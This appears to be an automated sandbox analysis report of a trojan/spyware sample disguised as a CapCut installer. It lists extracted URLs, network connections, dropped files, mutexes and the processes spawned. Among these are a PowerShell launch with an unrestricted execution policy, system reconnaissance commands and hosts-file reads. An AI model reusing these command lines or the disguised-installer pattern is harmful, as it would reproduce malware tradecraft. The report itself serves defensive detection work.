      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.givero.com/suggest?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/serp?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/static/www.info.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.info.com/static/www.info.com/favicon.icohttps://www.info.com/serp?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.intel.com/content/www/us/en/download-center/home.html
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.neti.ee/api/suggestOS?suggestVersion=1&suggestQuery=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.neti.ee/cgi-bin/otsing?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.nic.cz/odvr/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.nic.cz/odvr/CZ.NIC
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/images/favicon_32x32.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/images/favicon_32x32.icohttps://www.privacywall.org/search/secure/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.privacywall.org/search/secure/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.quad9.net/home/privacy/Quad9
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.qwant.com/favicon.icohttps://www.qwant.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/favicon.icohttps://www.so.com/s?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.so.com/s?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.softonic.com.br/s/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.softonic.com/s/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/images/logo/old/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/images/logo/old/favicon.icohttps://www.sogou.com/web?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.sogou.com/web?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.by/chrome/newtab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.com.tr/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.com.tr/chrome/newtab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.kz/chrome/newtab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.yandex.ua/chrome/newtab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/favicon.icohttps://www.zoznam.sk/hladaj.fcgi?s=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://www.zoznam.sk/hladaj.fcgi?s=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/images/search/?rpt=imageview
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.by/images/search/?rpt=imageviewhttps://www.yandex.by/chrome/newtabhttps://storage.ape
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com.tr/gorsel/search?rpt=imageview
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com.tr/gorsel/search?rpt=imageviewhttps://www.yandex.com.tr/chrome/newtab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com/images/search?rpt=imageview
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.com/search/?text=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/images/search/?rpt=imageview
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.kz/images/search/?rpt=imageviewhttps://www.yandex.kz/chrome/newtab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/images/search/?rpt=imageview
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yandex.ua/images/search/?rpt=imageviewhttps://www.yandex.ua/chrome/newtab
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.icohttps://yandex.by/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://yastatic.net/lego/_/rBTjd6UOPk5913OSn5ZQVYMTQWQ.icohttps://yandex.com/search/?text=
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49895
      Source: unknownNetwork traffic detected: HTTP traffic on port 49927 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49895 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49914 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49933 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49907
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49927
      Source: unknownNetwork traffic detected: HTTP traffic on port 49943 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 49907 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49914
      Source: unknownNetwork traffic detected: HTTP traffic on port 49921 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49901
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
      Source: unknownNetwork traffic detected: HTTP traffic on port 49901 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49933
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49921
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49943
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49895 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49901 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49907 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49914 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49921 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49927 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49933 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49943 version: TLS 1.2
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpBinary or memory string: RegisterRawInputDevices() failed for RIDEV_REMOVEmemstr_a65be1da-0

      System Summary

      barindex
      Drops large PE files
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile dump: PhilipinessAvia Application.exe.0.dr 160112640Jump to dropped file
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile dump: PhilipinessAvia Application.exe0.0.dr 160112640Jump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess Stats: CPU usage > 49%
      Source: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exeFile created: C:\Windows\KeenPub
      Source: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exeFile created: C:\Windows\DiscountPhysiology
      Source: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exeFile created: C:\Windows\VisionConsider
      Source: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exeFile created: C:\Windows\ParkEur
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeProcess token adjusted: SecurityJump to behavior
      Source: vulkan-1.dll0.0.drStatic PE information: Number of sections : 11 > 10
      Source: libEGL.dll.0.drStatic PE information: Number of sections : 11 > 10
      Source: PhilipinessAvia Application.exe.0.drStatic PE information: Number of sections : 15 > 10
      Source: libGLESv2.dll.0.drStatic PE information: Number of sections : 11 > 10
      Source: vk_swiftshader.dll0.0.drStatic PE information: Number of sections : 11 > 10
      Source: vk_swiftshader.dll.0.drStatic PE information: Number of sections : 11 > 10
      Source: libGLESv2.dll0.0.drStatic PE information: Number of sections : 11 > 10
      Source: vulkan-1.dll.0.drStatic PE information: Number of sections : 11 > 10
      Source: libEGL.dll0.0.drStatic PE information: Number of sections : 11 > 10
      Source: PhilipinessAvia Application.exe0.0.drStatic PE information: Number of sections : 15 > 10
      Source: CapCut_12.0.4_Installer.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: classification engineClassification label: mal81.troj.spyw.evad.winEXE@104/196@5/4
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile created: C:\Users\user\AppData\Roaming\poikfwdnmyoitatxJump to behavior
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4296:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6272:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1620:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7936:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8008:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8072:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:796:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8156:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5672:120:WilError_03
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2084:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8028:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5888:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7656:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6452:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4312:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2308:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5928:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7736:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4884:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6312:120:WilError_03
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nst5189.tmpJump to behavior
      Source: CapCut_12.0.4_Installer.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile read: C:\Users\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: CapCut_12.0.4_Installer.exeReversingLabs: Detection: 18%
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile read: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe "C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe"
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe"
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "chcp"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1968 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --mojo-platform-channel-handle=2136 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
